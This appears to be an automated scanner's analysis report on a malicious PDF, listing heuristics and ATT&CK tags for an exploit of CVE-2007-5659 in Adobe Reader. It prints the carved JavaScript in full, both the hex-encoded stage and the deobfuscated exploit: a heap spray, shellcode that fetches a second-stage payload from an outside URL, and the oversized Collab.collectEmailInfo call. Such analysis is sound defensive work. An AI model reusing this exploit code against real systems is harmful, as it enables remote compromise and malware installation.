MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
The PDF file contains embedded JavaScript that exploits CVE-2007-5659 (Collab.collectEmailInfo). This script is designed to download a second-stage payload from the URL http://nudisteens.com/s/z/ex.php?h=pd. The ML classifier strongly indicates maliciousness, and the exploit cluster confirms the exploitation attempt.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://nudisteens.com/s/z/ex.php?h=pd Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0013_001.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x38E | 4987 bytes |
SHA-256: 8d4859feb72eb552332770aba622f3589d41c59e22b5bb6ddcc1d217e8f7472b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
$str = "v"+"ar x"+"='766172204444704E56446658203D206E657720417272617928293B66756E6374696F6E206B7A56304969764C2872715959306F306D2C204E31745441554948297B097768696C65202872715959306F306D2E6C656E6774682A323C4E3174544155494829207B090972715959306F306D202B3D2072715959306F306D3B097D0972715959306F306D203D2072715959306F306D2E737562737472696E6728302C4E317454415549482F32293B0972657475726E2072715959306F306D3B7D66756E6374696F6E205333474243524E5528297B09766172206563426366646F4D203D20307830633063306330633B09766172206272495731795459203D20756E657363617065282225753433343325753433343325753433343325753046454225753333354225753636433925753830423925753830303125754546333325754532343325754542464125754538303525754646454325754646464625753842374625754446344525754546454625753634454625754533414625753946363425753432463325753946363425753645453725754546303325754546454225753634454625754239303325753631383725754531413125753037303325754546313125754546454625754141363625754239454225753737383725753635313125753037453125754546314625754546454625754141363625754239453725754341383725753130354625753037324425754546304425754546454625754141363625754239453325753030383725753046323125753037384625754546334225754546454625754141363625754239464625753245383725753041393625753037353725754546323925754546454625754141363625754146464225754437364625753941324325753636313525754637414125754538303625754546454525754231454625753941363625753634434225754542414125754545383525753634423625754637424125753037423925754546363425754546454625753837424625754635443925753946433025753738303725754546454625753636454625754633414125753241363425753246364325753636424625754346414125753130383725754546454625754246454625754141363425753835464225754236454425754241363425753037463725754546384525754546454625754141454325753238434625754233454625754331393125753238384125754542414625753841393725754546454625753941313025753634434625754533414125754545383525753634423625754637424125754146303725754546454625753835454625754237453825754141454325754443434225754243333425753130424325754346394125754243424625754141363425753835463325754236454125754241363425753037463725754546434325754546454625754546383525753941313025753634434625754537414125754544383525753634423625754637424125754646303725754546454625753835454625753634313025754646414125754545383525753634423625754637424125754546303725754546454625754145454625754244423425753045454325753045454325753045454325753045454325753033364325754235454225753634424325753044333525754244313825753046313025753634424125753634303325754537393225754232363425754239453325753943363425753634443325754631394225754543393725754239314325753939363425754543434625754443314325754136323625753432414525753243454325754443423925754530313925754646353125753144443525754537394225753231324525754543453225754146314425753145303425753131443425753941423125754235304125753034363425754235363425754543434225753839333225754533363425753634413425754633423525753332454325754542363425754543363425754231324125753244423225754546453725753142303725753130313125754241313025754133424425754130413225754546413125753734363825753730373425753246334125753645324625753634373525753733363925753635373425753645363525753245373325753646363325753246364425753246373325753246374125753738363525753730324525753730363825753638334625753730334425753230363422293B0976617220565741627A785550203D2030783430303030303B097661722057436F455946646F203D2062724957317954592E6C656E677468202A20323B09766172204E31745441554948203D20565741627A785550202D202857436F455946646F2B30783338293B097661722072715959306F306D203D20756E657363617065282225753930393025753930393022293B0972715959306F306D203D206B7A56304969764C2872715959306F306D2C204E31745441554948293B09766172206A70775A41374566203D20286563426366646F4D202D203078343030303030292F565741627A7855503B0909666F7220287661722078457A5969624B733D303B78457A5969624B733C6A70775A413745663B78457A5969624B732B2B29207B09094444704E564466585B78457A5969624B735D203D2072715959306F306D202B2062724957317954593B097D7D66756E6374696F6E20517939514452677528297B09766172204650556B6355354E203D206170702E76696577657256657273696F6E2E746F537472696E6728293B094650556B6355354E203D204650556B6355354E2E7265706 ... (truncated) |
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery hex-literal-bytes from JavaScript object 13 at offset 0x38E | 2388 bytes |
SHA-256: 3342a4d8dca89a5de81dcbf4d88b96a34395c07c72d8e5ee6a404d0d9c924b65 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var DDpNVDfX = new Array();function kzV0IivL(rqYY0o0m, N1tTAUIH){ while (rqYY0o0m.length*2<N1tTAUIH) { rqYY0o0m += rqYY0o0m; } rqYY0o0m = rqYY0o0m.substring(0,N1tTAUIH/2); return rqYY0o0m;}function S3GBCRNU(){ var ecBcfdoM = 0x0c0c0c0c; var brIW1yTY = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u6E2F%u6475%u7369%u6574%u6E65%u2E73%u6F63%u2F6D%u2F73%u2F7A%u7865%u702E%u7068%u683F%u703D%u2064"); var VWAbzxUP = 0x400000; var WCoEYFdo = brIW1yTY.length * 2; var N1tTAUIH = VWAbzxUP - (WCoEYFdo+0x38); var rqYY0o0m = unescape("%u9090%u9090"); rqYY0o0m = kzV0IivL(rqYY0o0m, N1tTAUIH); var jpwZA7Ef = (ecBcfdoM - 0x400000)/VWAbzxUP; for (var xEzYibKs=0;xEzYibKs<jpwZA7Ef;xEzYibKs++) { DDpNVDfX[xEzYibKs] = rqYY0o0m + brIW1yTY; }}function Qy9QDRgu(){ var FPUkcU5N = app.viewerVersion.toString(); FPUkcU5N = FPUkcU5N.replace(/\D/g,''); var WlHmRwck = new Array( FPUkcU5N.charAt(0), FPUkcU5N.charAt(1), FPUkcU5N.charAt(2)); if ( (WlHmRwck[0] == 7 && WlHmRwck[1] < 1) ) { S3GBCRNU(); var YTDNPHwC = unescape("%u0c0c%u0c0c"); while(YTDNPHwC.length < 44952) YTDNPHwC += YTDNPHwC; this.collabStore = Collab.collectEmailInfo({subj: "",msg: YTDNPHwC}); }}Qy9QDRgu();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.